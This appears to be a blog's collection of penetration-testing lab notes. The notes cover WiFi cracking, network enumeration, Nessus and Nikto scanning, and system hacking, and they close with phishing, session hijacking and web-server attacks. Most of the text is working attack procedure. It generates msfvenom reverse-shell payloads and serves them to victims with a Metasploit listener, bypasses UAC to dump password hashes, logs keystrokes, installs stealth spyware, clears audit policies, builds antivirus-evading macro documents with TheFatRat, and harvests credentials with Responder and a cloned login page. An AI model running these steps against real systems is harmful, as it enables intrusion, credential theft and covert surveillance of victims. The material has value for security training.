| RenewsTech | Reviews | Tech | News |

Wifi Enumeration (Hacking) - Red Teaming

2023-08-18T17:30:00.002+05:30

Wifi Hacking

To hack a wireless network, you need a wireless card with two features:

Make sure your card supports monitor mode/promiscuous mode.
Make sure you card is capable of performing packet injection.

Tool : Aircrack-ng

Checking Wifi Card is on Monitor Mode or Mangement Mode.

# iwconfig

It Converting Manage mode to Monitor Mode

# airmon-ng start wlan0 / wlan0mon

Killing Current PID's

# kill PIDnumber [Pid No.]

Scanning Nearby wifi network and return BSSID If Someone's is Connected to the wifi.

# airodump-ng wlan0mon / wlan0

If Someone Connected to our Target wifi then Capturing their BSSID.

# airodump-ng -c [channel no] --bssid [wifi bssid] -w [save folder location] wlan0mon

Disconnect the network and connect again and in that we capture handshake file.

# aireplay-ng --deauth 5 -a [attacker bssid no] -c [victim bssid no] wlan0mon

We back to convert Monitor Mode to Manage Mode.

# airmon-ng stop wlan0

Restarting the Network.

# service NetworkManager restart

We Provided the wordlist and cap file and aircrack-ng cracking password.

# aircrack-ng -w [wordlist path] [cap file path]

Footprinting and Reconnaissance

2022-09-17T17:13:00.003+05:30

- Extract information about target organization :

1. Internet Protocol (IP) address and IP range assosiated with the target
2. Purpose of organization and why exists
3. Size of organization
4. Class of its IP block
5. People and Contacts at the target
6. Types of Operating system (OS) and network topology in use
7. Type of firewall implemented either hardware or software or combination
8. Type of remoted access used either SSH or VPN

---> Open Source Information Gathering using Windows Command Line utilities

---> Windows Utilities :
     1. ping
     2. nslookup
     3. tracert

---> Gather important information like :
   1. IP address
   2. Packet frame size

---> Open a command line

# ping -- this command use for help option for ping

# ping www.google.com -- to find host IP address and host is active or not

---> Collecting information about a target website using firebug

We use firefox for getiing information about HTML, Java Script, CSS, etc.
Aim is collecting server side technologies we also find out using Netcraft and Wappalyzer

---> firebug is a tool that get all the information in the above.

Mirroring Website Using HTTrack Web Site Copier

---> Web site mirroring creates a replica of an existing site. It allows you to download
     a website to a local directory analyze the all directories. HTML images, flash, videos
     and other files from the server on your computer.

---> We have difficult to perform footprinting on live website that's why we use website
     mirroring to perform footprinting.

--> Tool : HTTrack

Advanced Network Route Tracing Using Path Analyzer Pro

---> In this we determined network nodes traversed towards the destination and can detect
     complete route (path) form source to destination.

--> Path Analyzer Pro -- PApro27.msi

We extract accurate information about a network using Metasploit Framework

--> Firstly Start Postgresql using command
   # service postgresql start

--> Open Metasploit console
   # msfconsole

--> checking database was initiated or not to enter command
   # db_status

--> To initated to database exit the metasploit and restart postgresql service
   # msfdb init

--> Then we running the nmap in metasploit type a command and Enter
   # nmap -Pn -sS -A -oX Test [ip/subnet]

--> After the scanning Nmap showing the total number of hosts active in subnet

--> Type db_import Test and Press Enter to import the test results.

--> Type hosts in metasploit display the hosts and their details as collected Nmap

--> Let's find service on individual machine showing services running on machine
   # db_nmap -sS -A [IP address of machine]

--> Get Service Information of all the active machine in subnet type
   # services

--> If we have exploit the machine in particular service or payload then use the module
   # use [module name]

--> Now showing the option set Rhost and then exploit when we get a show options required
    will be fill up that indicated by 'yes'

--> We gather the all information using various service running on the machine to exploit them.

Enumeration

2022-09-17T17:11:00.002+05:30

- Provide a Network Enumeration

1. User Name and User Groups
2. List of computers, their operating system, and ports
3. Machine names, network resources and services
4. List of shares on individual hosts on the network
5. Policies and passwords

-- Collected Details about

1. Network Machine
2. Users
3. Shared Folders
3. Ports
4. Operating System
5. Machine Names
6. Network Resources
7. Services

1. NetBIOS Enumeration Using Global Network Inventory

Tool : Global Network Inventory tool - use for security auditing and testing of
   firewall and networks. It is also used for Idle scanning.

-- In this tool we enumerate the Machine names, users, user Groups , etc.

2. Enumerating Network Resources Using Advanced IP Scanner

--> The goad of running a scanner to identify device on your Network that are
    open to vulnerabilities.

--> Procedure to identifying host, ports and services in a network.

1. perform a system and network scan
2. Enumerate user accounts
3. Execute remote penetration
4. Gather information abbout local network computers

3. Performing Network Enumeration Using SuperScan : /NetBIOS Enumeration Tool/SuperScan

--> SuperScan detect open TCP and UDP ports on target machines
--> Allowing to atttackers to exploit these open ports and hack target machine
--> We can enumerate target networks and extract list of computers, user names, user groups,
    machine names, network resources and service using SuperScan.

1. List of computers that belong to a domain
2. List of share on the individual hosts on the network
3. Policies and Passwords

4. Enumerating Resources in a Lical Machine Using Hyena :

--> Mangement of users, groups (local and global), shares, domains, Computers, service,
    devices, events, files, printers, sessions, open files, disk space, user rights,
    messaging, exporting, job scheduling and printing.

5. Performing Network Enumeration Using NetBIOS Enumerator :

--> NetBIOS Enumerator is an enumeration tool that show how to use remote network support and
    to deal

--> NetBIOS Enumeration is gather the following information :
   1. Account lockout threshold
   2. Local groups and user accounts
   3. Global groups and user accounts

--> Attackers can use the information such as enumerated usernmames and peroforma password
    guessing techniques to crackk a user account.

6. Enumerating a Network Using SoftPerfect Network Scanner :

--> We resolve host names and auto-detect your local and external IP range.

--> A hacker enumerates application and banners to identifying user accounts and shared resource.

   1. Hardware MAC addresses across routers
   2. Hidden shared folders and writable ones
   3. Internal and External IP address

7. Enumerating a Target Network using Nmap and Net Use --

--> Nmap determines what hosts are available on the network, what sevices (application name and version)
    what operating system (OS version) , what type of packet firewall are use.

--> By using open ports attacker can easily attack the target machines to overcome
    this type of attack network filled with IP filters.

--> We need to enumerate a target network and extract a list of computers, user names, user groups,
    machine names, network resources and services.

    1. User names and user groups
   2. List of computers, their operating system and the ports on them
   3. List of shares on the individual hosts on the network
   4. Policies and Passwords

--> We use Nmap GUI on Windows Machine

--> Fistly we Scan the Machine using Zenmap GUI is specified the target and give -O command.

--> We give nbtstat -A [ip] command and then

--> Type net use \\10.10.10.16[ip]\e ""\user:"" and press Enter

--> Now type net use \\10.10.10.16\e ""/user:"" and press Enter

--> Open file Explorer, right click the mapped network drive (Z:\) and select Disconnect

--> This creates/connects a null session. Confirm it type 'net use' command which should list
    your newly created null session. the null session has been created with name 'e'

8. Enumerating Services on a Target Machine :

   1. Scan all the machines on a given network or subnet
   2. List of machines that are up and running
   3. Determine open ports on given node
   4. Find if any port has firewall restriction
   5. Enumerate all the services running on the port along with their respective versions

We Performing on linux Terminal

--> Nmap scans all the nodes on the given network and start displaying all the hosts, MAC addres
    device information.
# nmap -sP [ip/subnet] -- It is ping sweep scan.

--> perform a stealthy SYN scan to list all the open ports on give IP address
# nmap -sS [ip address of machine] -- stealthy scan

--> We can enumerate version of each service running on the ports
    version detecion along with OS fingerprint/detection will be initiated
# nmap -sSV -O [ip address of machine]

--> We save the result to home root directory
# nmap -sSV -O [ip address of machine] -oN Enumeration.txt [file name] -- we give path also /home/Desktop/nmap.txt

--> We also view the result on command line terminal
# cat Enumeration.txt

9. SNMP Enumeration Using snmp_enum

--> SNMP enumeration is the process enumerating user's accounts and devices on a SNMP enabled computer.
    SNMP service comes with two passwords, which are used to configure and access the SNMP agent form the
    management station.

--> we find out default community string. Extract information about network resources shch as hosts, routers, devices, shares,etc.
    and network information such as ARP tables, routing tables, device specific information and traffic statistics.

--> We enumerate to

   1. Connected Devices
   2. Hostname and information
   3. Domain
   4. Hardware and storage information
   5. Software Components
   6. Total Memory

--> We enumerate such a Information using Nmap :

--> We view the port status of the target machine using cmd
# nmap -sU -p 161 [ip address of the machine]

--> port 161 is used by SNMP

---> The snmp-brute script will exract the SNMP community string from target machine.
# nmap -sU -p 161 --script=snmp-brute [ip address of machine]

--> We Exploit the Vulnerability using Metasploit > msfconsole
# msfconsole

msf > use auxiliary/scanner/snmp/snmp_login

msf > show options

msf > set RHOSTS [ip address of target machine]

msf > exploit

--> We are login Successful

--> Now we we use snmp_enum module

msf > use auxiliary/scanner/snmp/snmp_enum

msf > show options

msf > set RHOSTS [ip of target machine]

--> We getting Connected message and give the result for observation.

10. LDAP Enumeration Using Active Directory Explorer (ADExplorer)

--> This Enumeration to obtain information :

   1. User names and user groups
   2. Attributes

--> Tool : Active Directory Explorer > ADExplorer

--> Type the Ip adress of target machine at the dialoague box

11. Enumerating information from Windows and Samba host using Enum4linux

--> Tool : Enum4linux -- Enumerating information from Windows and Samba System.

--> This tool base on the linux terminal

# man enum4linux

# enum4linux -u martin -p apple -U [ip address of target machine]

--> Get the details of the target system

# enum4linux -u [user name] -p [password] -o [ip address of target ]

--> It shows Operating System details of the target machine.

# enum4linux -u [user name] -p [password] -P [ip address of target ]

--> To get Password Policy Information

# enum4linux -u [user name] -p [password] -G [ip address of target ]

--> To get the Groups information of target machine

# enum4linux -u [user name] -p [password] -S [ip address of target ]

--> To get Share Policy Information of the target Machine

Vulnerability Analysis

2022-09-17T17:09:00.002+05:30

-- Network scanning refers to a used for identifying hosts, ports and services in network
-- We gather information about the target using highly and aggressive recon techniques.
-- The purpose of scanning to is to discover exploitable communications channels

-- We Analyze the vulnerability scanning to check

   1. Check live system and open ports
   2. Perform banner grabbing and OS fingerprinting
   3. Identify network vulnerabilities
   4. Draw network diagrams of vulnerable hosts

-- In this we perform port scanning, network scanning and vulnerability scanning on IP address

   1. Identify host names
   2. Ports
   3. Services
   4. Live hosts
   5. Vulnerabilities in service running on the port

-- Vulnerability scanning will determine the possibility of network security attacks.

1. Vulnerability Analysis Using Nessus

Tool : Nessus on Windows

-- In address bar of browser type https://localhost:8834 and press Enter

-- Sign in to Nessus with credential Username : admin and Password : password

-- Create a new policy under new policy link and see the Templates to scan

-- click the Advanced Scan and in the Host Discovery list Turn Off ping the remote host

-- select Port Scanning tab and check Verify open TCP ports found by local by port enumerators

-- Max number of TCP sessions per host and Max number of TCP sessions per scan tab give unlimited value

-- Configure the Credential tab. clicked on Windows and Specify the username and password will be given (AS143 /qwerty@123) and save

-- Select Plugins tab to select plugins and save it.

-- click Scan to open My scan page and crate new scan and click on User Defined tab and Select Network Scan Policy

-- Enter a IP adderes of target Machine and Launch the Scan and Scanning will be process

-- We have detailed report about each them with their severity

-- We also export as PDF and download

2. CGI Scanning with Nikto

Tool : Nikto (Linux tool)

-- Nikto is an Open Source web server scanner which perform

   1. Checks for outdated version of servers
   2. Version specific problem
   3. Checking Server Configuration problem

-- Nikto is not a stealthy scan it scans webserver in the shortest time but will get logged in an IDS/IPS

-- Nikto help option
# nikto -h

-- We getting Ip address of site, Hostname, Port.
# nikto -h [website url] -Tunning 1

-- We can try with other commands to perform the vulnerability scanning on the website

System Hacking

2022-09-17T17:05:00.002+05:30

-- The goal of system hacking is gain

   1. Access
   2. Escalate Privileges
   3. Recovering Passwords
   4. Execute applications
   5. Hide files

-- System hacking helps to

   1. Extracting admistrative passwords
   2. Hiding files and extracting hidden files
   3. Recovering passwords
   4. Monitoring a System remotely

-- Password cracking is one of the stage of system hacking.
-- A password needs to access a system.
-- We use password cracking technique by guessing or use automated tools and techniques.
-- Password cracking technique such as dictionary or brute force method.
-- Password cracking techniques are successful because of weak or easy guessing.

1. Dumping and Cracking SAM Hashes to Extract Plaintext Password

-- SAM - Security Account Manager - It is database file present on Windows machine that store user
   accounts and security descriptors of users local computer.

-- It store user's password in hashed format (LM or NTLM hash).

-- Attacker generally dump operating system password hashes immediately after a compromise target machine.

-- We need to have administrator access to dump the contents of SAM file.

-- With Hashy decryptor to uncover plaintext passwords.

-- Pwddump7 also be used to dump protected files.

-- Rainbow tables for LM hashes of alphanumeric password are provided by developers.

   1. Use the pwdump7 tool to extract password hashes
   2. Use the Ophcrack tool to crack the password and obtain plain text password

--> Open the windows command prompt enter we get name and SID
# wmic useraccount get name,sid

Tool : pwdump7

--> Copy the pwdump7 folder and open the folder in command prompt

--> Type PwDump7.exe and press Enter

--> for extracted the password in text file to type and enter
# PwDump7.exe > c:\hashes.txt -- save in c drive

Tool : ophcrack -- Window tool

--> Open the ophcrack application

--> click the load tab and select PWDUMP file from the list.

--> click Tables from top menu and select Vista free in the list and click install

--> Select the folder which contains the tables windows appears. select tables_vista_free.

--> table installed under vista free. which represented by green color. click OK

--> click the Crack on Menu bar and cracking the passwords hashes.

2. Creating and Using Rainbow Tables :

-- Rainbow Table : It is Precomputed table which contains word list like dictionary files and
   brute force list and their hash values.

-- It is used to recovering plaintext password form a ciphertext

-- An attacker capture the hash of a password and compares it with the precomputed hash table.

-- If a match is found then the password is cracked.

Tool : winrtgen -- It is tool base on windows

--> Install the tool winrtgen in windows And click Add Table

--> Select ntlm from Hash dropdown list

--> Set Min Len as 4, Max Len as 6 and Chain Count 4000000

--> Select loweralpha from Chartset dropdown list (Setting depend upon the Password) and click OK

--> file will be created and displayed Winrtgen Window and Click OK

--> It automatically turn to Start, click Start button to generate rainbow Tables.

--> Rainbow table automatically saved in folder

--> Execute the RainbowCrack and launch rcrack_gui extension file.

--> click on file from Menu bar and click Load NTLM Hashes from Pwdump file

--> Click on Rainbow Table form the menu bar and click Search Rainbow Tables

--> Open the Rainbow table will save it and click open

--> Rainbow crack automatically start the to crack the hashes and we found the plaintext password

3. Auditing System Password Using L0phtCrack :

Tool : L0phtCrack -- Window Tool

-- Crack System user accounts

-- User accounts passwords that are cracked in short amount of time are consider to be weak and make them stronger

-- Use the L0phtCrack tool to attain user password that can be easily cracked

---> Install and Launch the application

---> And Proceed with Free Trial

--> Click Password Auditing Wizard and click Next

--> Choose Target System and click Next. Select a remote machine and click Next

--> fill the details Host name [ip address of target]

--> select Use Specific User Credential radio-button

--> Enter Credential Username , Password , Domain and click Next

--> Choose Audit Type Section and select Strong Password Audit and click Next

--> Reporting option will be by default selected and click Next

--> Select Run this job immediately and click Next and click Finish

--> In this we successfully Cracked the password

4. Exploiting Client Side Vulnerabilities and Establishing a VNC session

-- VNC enables to attacker gain access and control of target system wherever in the world.

Tool : Metasploit > msfvenom > msfconsole

--> open a terminal type
# msfvenom-p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=[our ip] LPORT=4444 -o /root/Desktop/Payload.exe

--> Now create directory to share this file to victim machine and provide permission and copythe file from Desktop to shared location.
# mkdir /var/www/html/share ---- Creating a share folder
# type chmod -R 755 -- Give a permission
# chown -R www-data:www-data/var/www/html/share
# mv /root/Desktop/Test.exe /var/www/html/share -- Move malcious file in to shared folder location

--> Open Metasploit in msfconsole
# msfconsole

# use multi/handler
# set payload windows/meterpreter/reverse_tcp
# set LHOST [our ip]
# set LPORT 4444
# expoit --- our framework is running now

--> Open a windows machine as a target and open browser and type http://[kali ip]/share

--> Download payload.exe file and run the file

--> if meterpreter does not work type # sessions -i 1

--> Enter in kali machine and observe we connected to meterpreter section

--> For getting system information of victim machine
# meterpreter > sysinfo

--> Start VNC session with the victim to type
# run vnc

--> Windows appears with the victim Desktop showing in the window

5. Escalating Privileges by Exploiting Client Side Vulnerabilities

-- Exploitation producedure enforced on a weakly patched Windows machine that allows
   to gain access to it through meterpreter shell and then employing privileges escalation
   techniques to get administrative privileges to the machine through meterpreter shell

-- Escalate privileges on a victim machine by exploiting it's Vulnerabilities

Tool : Metasploit > msfvenom > msfconsole

--> Open a terminal
# msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=[our IP] -f exe > Desktop/Payload.exe

--> Now create directory to share this file to victim machine and provide permission and copythe file from Desktop to shared location.
# mkdir /var/www/html/share ---- Creating a share folder
# type chmod -R 755 -- Give a permission
# chown -R www-data:www-data/var/www/html/share
# ls -la /var/www/html/ | grep share

--> Next start apache server
# service apache2 start
# cp /root/Desktop/Payload.exe /var/www/html/share -- for sharing the payload in windows

--> Start msfconsole

# use exploit/multi/handler
# set payload windows/meterpreter/reverse_tcp
# set LHOST [our ip]
# exploit -j -z -- for starting listner

--> Open a windows machine as a target and open browser and type http://[kali ip]/share

--> Download payload.exe file and run the file

--> if meterpreter does not work type # sessions -i 1

--> Enter in kali machine and observe we connected to meterpreter section

--> To get Server username type
# meterpreter > getuid

--> To dump the password hashes
# meterpreter > run post/windows/gather/smart_hashdump -- command is fail because we do not have privileges

--> Now we shall try to escalate the privileges by trying to bypass the user account control

--> # getsystem -- It attempts to elevate the user privileges
# getsystem -t 1 -- command will be fail because of user privileges

--> Background the meterpreter sessioin
# background

--> use module
# use exploit/windows/local/bypassuac_fodhelper
# show options
# set SESSION 1 -- background session in this
# set payload windows/meterpreter/reverse_tcp
# show options
# set LHOST [our ip]
# set Target 0
# exploit

--> Reuse the getsystem command. Type getsystem and press Enter. Type getuid and press Enter
    The meterpreter session is now running with SYSTEM privileges (NT AUTHORITY/SYSTEM)

--> Try to dump password hashes by command
# meterpreter > run post/windows/gather/smart_hashdump -- meterpreter successfully extracted NTLM hashes and display in terminal

--> We successfully dump the hashes password

6. Hacking Windows 10 using Metasploit and Post Exploitation Using Meterpreter

-- Backdoors are malicious files that contain Trojan.

-- Attacker buid backdoors in attempt to gain remote access to the victim machines

-- Backdoor through email, file sharing web applications, shared network drives and force to
   user execute them.

-- We perform activities such as keylogging, sensitive data extraction and so on

-- Trojan is programe that contains a malicious or harmful code.

-- Detect Trojan and backdoor attacks.

-- Creating a server and testing the network for attack

-- Attacking a network using a sample backdoor and monitor system activity.

--> We have secret informational file on Windows Machine on Desktop

--> Open the linux machine and Launch a terminal and type
# msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=[our IP] -f exe > Desktop/Malware.exe
# mkdir /var/www/html/share
# service apache2 start
# cp /root/Desktop/Malware.exe /var/www/html/share

--> Start msfconsole
# use exploit/multi/handler
# set payload windows/meterpreter/reverse_tcp
# set LHOST [our ip]
# show options
# exploit -j -z

--> Open a windows machine as a target and open browser and type http://[kali ip]/share

--> Download payload.exe file and run the file

--> If meterpreter does not work type # sessions -i 1

--> Enter in kali machine and observe we connected to meterpreter section

# meterpreter > sysinfo

# meterpreter > ifconfig -- Display victim machine IP address and MAC address

# getuid -- It display attacker Meterpreter server running as adminstrator on the host

# pwd -- showing current directory

# ls -- showing list of files on remote directory

--> If we found Secret Information or files for read command
# cat filename.txt -- It showing the all information include in file.

--> To view the MACE attribute of file
# timestomp secret.txt -v -- This display created time, accessed time, modified time and entry modified time

--> Change the remote directory
# cd C:\ -- press ls to showing list of files
# download bootmgr
# search -f "filename.ext[pagefile.sys]"
# keyscan_start -- this start capturing all keyboard input from the victim system.
# keyscan_dump -- this dumps all keystrokes
# idletime -- Display the number of seconds for which user has been idle on the remote system
# shutdown -- shut down victim machine

7. User System Monitoring and Surveillance Using Spytech spyAgent :

-- In this establish remote desktop connection with a victim machine and run spying application
   using SpyAgent to secretly track user activities.

-- Install and configure Spytech SpyAgent in a victim machine

-- Monitor keystrokes typed website visited and Internet traffic data

Tool : Remote Desktop Connection (Windows)

--> Click Search on the taskbar for Remote Desktop Connection

--> Open the Application and Enter the IP address of (Windows Target Machine)

--> Enter User name as Administrator and click Connect

--> Host machine tries to establish Remote connection with target machine.

--> A Window Security pop us appears, Enter Passoword (for Adminstrator account) we obtained from L0phtCrack tool and click OK and click YES

--> Remote Desktop Connection successfully established and setup Syptech Spyagent and double click Setup (password=spytech)

Tool : SpyAgent > System hacking > General Spyware

--> Install the tool and Enter a Password feild and click Ok

--> Configuration -- click Complte + Stealth Configuration

--> Extras - Click on Load on Windows Startup

--> Click Next until Finish

--> SpyAgent Tamplet display and Start Monitoring and Enter Password we will created

--> In this way we Spy the victim machine and Monitoring the System

8. Web Activity Monitoring and Recording using Power Spy :

-- This works only work if target machine in turned ON

-- Establish Remote Desktop Connection as an attacker and Install Power Spy and leave stealth mode

-- Spying the victim and victim activities.

Tool : Power Spy

--> Follow the above Steps to Connect Remote Desktop Connection and when Connection establish go for next step

--> Install Power Spy and run application then Setup login password and Spyware Wizard is open

--> Click on Start Monitoring also click on Stalth Mode (stealth mode runs Power spy completely invisible in computer)

--> The Hotkey reminder dialog box appear click on OK (to unhide Power Spy). Use Ctrl+Alt+X

--> Disconnect Remote Desktop Connection

--> Login the Victim Machine and do some activity

--> Now Enter our machine and Establish again Remote Desktop Connection and Enter Power Spy application

--> To check User Keystroke click on Keylogger from Power Spy Control Panel

9. Hiding Files Using NTFS Streams :

-- Use NTFS Streams

-- Hide Files

--> Make sure that C:\ drive file system of NTFS format. To check this Go to 'Computer' right click on 'C' Drive and click Properties

--> Go to C drive and crate folder and paste calc.exe (Windows\system32\calc.exe)

--> Launch the Command line prompt

# cd c:\magic
# notepad hide.txt

-- Notepad pop us appears click 'Yes' and Write some text on file

--> Type
# dir -- we list all files including we created and display size also

--> Now hide calc.exe inside the text file (hide.txt)
# type c:\magic\calc.exe > c:\magic\hide.txt:calc.exe

--> Text file size not change and type the command
# mklink backdoor.exe readme.txt:calc.exe
# backdoor.exe -- Calculator application will be executed

10. Hiding Data Using White Space Steganography

Tool : Snow (Windows)

-- Snow exploits the steganography nature of whitespace.

-- It use ICE encryption algorithm

-- Using Snow steganography to hide files and data

-- Hiding files using spaces and tabs

--> Open a new notepad file and type some text and press enter then long press hyphen to draw line below it

--> save the file as secret.txt in the folder where SNOW.EXE located in Steganography tools

--> Open a command line terminal and go to on that folder on Snow directory

--> Then Type a command
# snow -C -m "My Credit Card Number is 123456789" -p "stegno" secret.txt secreat2.txt

--> The data (credit card number) is hidden inside the secret.txt file with contents of secret.txt

--> My content of secret2.txt are secret.txt+ My credit card Number

--> Now type
# snow -C -p "stegno" secret2.txt --- it will shhow contents of secret.txt (stegno is a password which entred while hiding the data)

--> To check the file in GUI the secret.txt in notepad and select on we hidden data inside the spaces and tabs

--> In this Way we hide the data in whitespaces and tabs

11. Image Steganography Using OpenStego :

-- Text can be hidden inside an image using OpenStego tool.

Tool : OpenStego (Window)

-- OpenStego is Java-based application and supports passwordbased encryption for security

-- It is use DES algorithm for data encryption in conjunction with MD5 hashing to derive the DES key from the password provided.

--> Install Setup-OpenStego.exe file and follow the wizard

--> Launch the application from Start Menu

--> OpenStego window shown click elipsis under Message File section -- in this include

--> Enter cover file it is our above we hide our data in that file

--> Both Message file and cover file are uploaded. by performing Stegnography message will hidded in images file under Output Stego File

--> To Save - select Output Stego File and provide file name stego and click open

--> Click the Hide Data -- Message has been successfully hidden. Click Ok

--> When you see the image you only see the image not the Contents message(text file) embedded in it

--> OpenStego Window and click Extract Data

--> Give the Input Stego File and next give the location to hidden file

12. Image Stegnography Using Quick Stego :

Tool : Quick Stego (Windows)

--- In digital steganography electronic communication may include steganographic coding hidden inside a Transport Layer

--- Learn how to hide scret text message in images using Quick Stego

---> Install QS12Setup.exe and follow the Wizard

--> Click on Open Image and Load the image we are hiding the data

--> For hiding the data click on Open Text under Text file when load the text file and click Hide Text

--> Save image when we save the image they are showing normal image.

--> For decrypting the text Load the Stegno file in Open Image

--> The Hidden text inside the image will displayed. In real time attacker use stegnography tools to obtain hidden infomation

13. Viewing , Enabling and Clearing Audit Policies Using Auditpol :

--- We manipulate , disable or erase the system logs

--- Attacker can use inbuilt system utilities to disable or tamper logging and auditing mechanisms in system

--- Auditpol display information on the performance and function to manipulate audit policies.

---> Open the command prompt in administrative privileges in windows. To view all the audit policies type
# auditpol /get /category:*

---> To enable audit policies type
# auditpol /set / category:"system","account logon" /success:enable /failure:enable

---> To check audit policies are enabled
# auditpol /get /category:*

---> To clear audit policies
# auditpol /clear /y

--- In this way we view and clear a auditing policies

14. Covert Channels using Covert_TCP

--- Network use network access control permission to permit/deny the traffic

--- Tunneling is used to bypaas to access control rules of firewall IDS , IPS and web proxies to allow certain traffic

--- Covert channels can be made by inserting data into unused feilds of protocol headers

--- There are many unused or misued fields in TCP / IP over which data can be sent to bypass firewalls.

--- Covert TCP manipulates the TCP/IP header of the data packet to send a file one byte at a time from any host to destination

--- It can act like a server as well as client and can be used to hide the data transimitted inside a IP header

--- This is useful when bypassing firewalls and sending data with legitimate looking packets that contains no data for sniffers to analyze

--- How to carry covert traffic inside of unused fields of TCP and IP headers

---> open a Terminal in linux
# cd Desktop
# mkdir send
# cd send /
# echo / cat "Important Message" > secret.txt

---> Click on the File from favourites bar in Kali Desktop and select Other Locations

---> Type smb : // [ip addrress of our ] in connect to server feild at bottom of Files window and Enter

---> Ask for Username , Domain and Password [Username connect with Administrator to full privileges and password is taken from whre we crack the password from hashes]

---> It Navigate the Covert Tcp module from System hacking Covert_TCP and choose covert_tcp.c and choose copy the file

---> Paste the covert_tcp.c file in send folder on the Desktop

---> Type in Terminal
# cc -o covert_tcp covert_tcp.c

---> Select Ubuntu and type password [Password is our Kali linux]

---> In ubuntu open a terminal and type
# cd Desktop
# mkdir receive
# cd receive

---> open other file location and below type smb:// [ip address as we give our machine] in Server Address

---> Username and Password also be same when we enter first time and click connect

---> Navigate System Hacking Covert TCP under covert_tcp.c file and copy to clipboard and paste to receive folder

---> And follow same command when we use in above and enter
# cc -o covert_tcp covert_tcp.c
# sudo su --- enter a password

---> To start listener type
# ./covert_tcp -dest [destination ip address] -source [source ip address] -source_port 9999 -dest_port 8888 -server -file /home/ubuntu/Desktop/recieve/receive.txt

---> Go to our linux machine and open Wireshark

---> Open a eth0 interface start capturing network packets

---> In terminal type for sending content of hidden.txt file throgh covert_tcp
# ./covert_tcp -dest [destination ip address] -source [source ip address] -source_port 8888 -dest_port 9999 -file /root/Desktop/send/secret.txt

---> Open ubuntu we are observing message is being recieved byte by byte and open the receive folder and open recieve.txt file this contains message sent from kali machine

---> Go to kali machine and stop wireshark packets capturing

---> We are examing the communication of ubuntu and kali machine we are find each message string being sent in individual packets over a network

----> In wireshark apply filter and enter ubuntu ip address [Reciever/destination ip address] and kali machine ip address [Sender/Source ip address] for capturing tha packets

---> Covert_tcp changes header of the tcp packets and replace it with character of the string one character at time send message without being detected

15. Hacking Windows Server 2012 with a Malicious Office Document Using TheFatRat

--- In this create malicious office document and get meterpreter shell by bypassing anti virus system

--- A FatRat is an exploiting tool which compile malware with popular payload and then compiled malware can be executed windows , android , etc.

--- It is provide easy way to create backdoors and payloads which can bypass most anti virus system

--- Use office document to exploit windows machine

Tool : FatRat (Linux)

---> Open a terminal and type
# fatrat

---> FatRat giving menu options choose [06] Create Fud Backdoor 1000% with PwnWinds and Enter

---> Then choose option [3] Create exe file apache + Powershell and Enter

---> Set LHOST IP [attacker ip address]
---> Set LPORT 4444

----> Type payload and Enter in please enter base name for output files

---> Choose payload option [3] windows/meterpreter/reverse_tcp and Enter

---> In main menu of fatrat choose the option [07] create backdoor for Office wih microsploit

---> Choose option [2] The microsoft office macro on windows

----> Set LHOST IP and Set LPORT 4444 and Enter then type BadDoc --- this is name of output file

---> Enter document body leave it default and enter and ask are you want use custom exe file backdoor option type y and enter

---> Enter the path of EXE file means our payload file as we created payload.exe

----> Choose payload [3] windows/meterpreter/rever_tcp and close the fatrat window

# mkdir /var/www/html/share
# mv /root/TheFatRat/output/BadDoc.docm /var/www/html/share and hit enter

Note : we also use python http server using
# python -m SimpleHTTPServer 8080

# service apache2 start

# msfconsole
# use multi/handler
# set payload windows/meterpreter/reverse_tcp
# set LHOST [our ip address]
# set LPORT 4444
# exploit

---> Open a windows machine as a target and open browser and type http://[kali ip]/share

---> Download payload.exe file and run the file

---> if meterpreter does not work type # sessions -i 1

---> Enter in kali machine and observe we connected to meterpreter section

# meterpreter > sysinfo

---> In this way getting a shell by bypassing the firewall with attach the payload in document

16. Active Online Attack using Responder :

--- By Listening for LLMNR/NBT-NS broadcast request it is possible for an attacker to spoof itself as server

--- Perform LLMNR/NBT-NS Spoofing attack on a network

---> Open a command line terminal and type
# responder -l eth0

---> Go to windows 10 and click start and run prompt and type \\ceh-tools and click OK

---> windows 10 trying to resolve this address but it can't find then ask to other machine via LLMNR or UDP/ 5355 broadcast and respond them

---> open a kali linux and see usr\share\responder\logs view hashes of logged user collected in responder

---> To crack the password open command terminal type
# john /usr/share/responder/logs/ < file name log.txt>

---> We get all cracking password

Social Engineering

2022-09-17T17:03:00.000+05:30

Tool : Social Engineering Toolkit

--- Clone a website

--- Obtain username and password using credential harvester method

--- In this Perform Credential Harvesting

--- In social engineering including phishing emails , fake sites and impersonation

--- In kali linux there are tool social engineering select the option webattack [2]

--- Select the option [3] Credential Harvester Attack Method

--- Select Site Cloner and Enter the IP address of kali machine to get back credential

--- Now enter the URL to clone

--- Send the cloning website to victim after click on Log In it does not allow logging in istead it redirect to legitimate original website

--- We can see that the credential of victim he enter in a website on kali machine terminal

Session Hijacking

2022-09-17T17:00:00.000+05:30

--- We are intercept the traffic between server and client

--- A session hijacking attack refers to the exploitation of session token generation

--- Attacker can guess or steal valid session ID (which identify authenticated users ) and establish connection with server

1. Session Hijacking Using the Zed Attack Proxy

Tool : ZAP -- OWASP zed attack proxy

--- It finding vulnerability in web applications

--- It have automated scanner as well as tools that allow find security vulnerabilities manually

--- ZAP is a intercepting proxy like burpsuite all request and responce recieve from it

--- Intercept the Traffic between server and client

---> Open the window and launch the chrome browser to customize and control google chrome and click setting

---> open a proxy setting and click Connections and LAN setting

---> In the Address feild type attacker ip (Windows) address and 8080 port click OK and close the browser

---> Open a ZAP tool and click the tools go to options then select local proxies and in address type windows IP address and set port default

---> Set Break the all request and responces

--> Enter in attacker machine and go in chrome and type movie website address and enter

---> Replace movie website to shopping website in all GET request captured Break tab. once you replace GET Request click Submit and Step to next request or response

--> When we observe movie website replace in shopping website

Hacking Web Servers

2022-09-17T16:57:00.001+05:30

--- A single Vulnerability in web server configuration may lead to security breach on websites

--- Attacker can exploit poor configured web server web server with known vulnerabilities to compromise web application

--- We perform Web Server Security Reconnaisance

--- Detect unpatched security flaws like Shellshock bug and Crack remote passwords

1. Performing Web Server Reconnaissance using Skipfish

--- It is perform recursive crawl and dictionary based probes in applications

Tool : Skipfish (Linux)

---> Open a terminal and type
# skipfish -o /root/test -S /usr/share/skipfish/dictionaries/complete.wl http://[address of website]:8080

---> It is perform heavy brute force attack on webserver using complete.wl dictionary file and file save in root folder as index.html

---> It takes very time to complete the scan

---> Show trace next to URL to exmine vulnerability in details

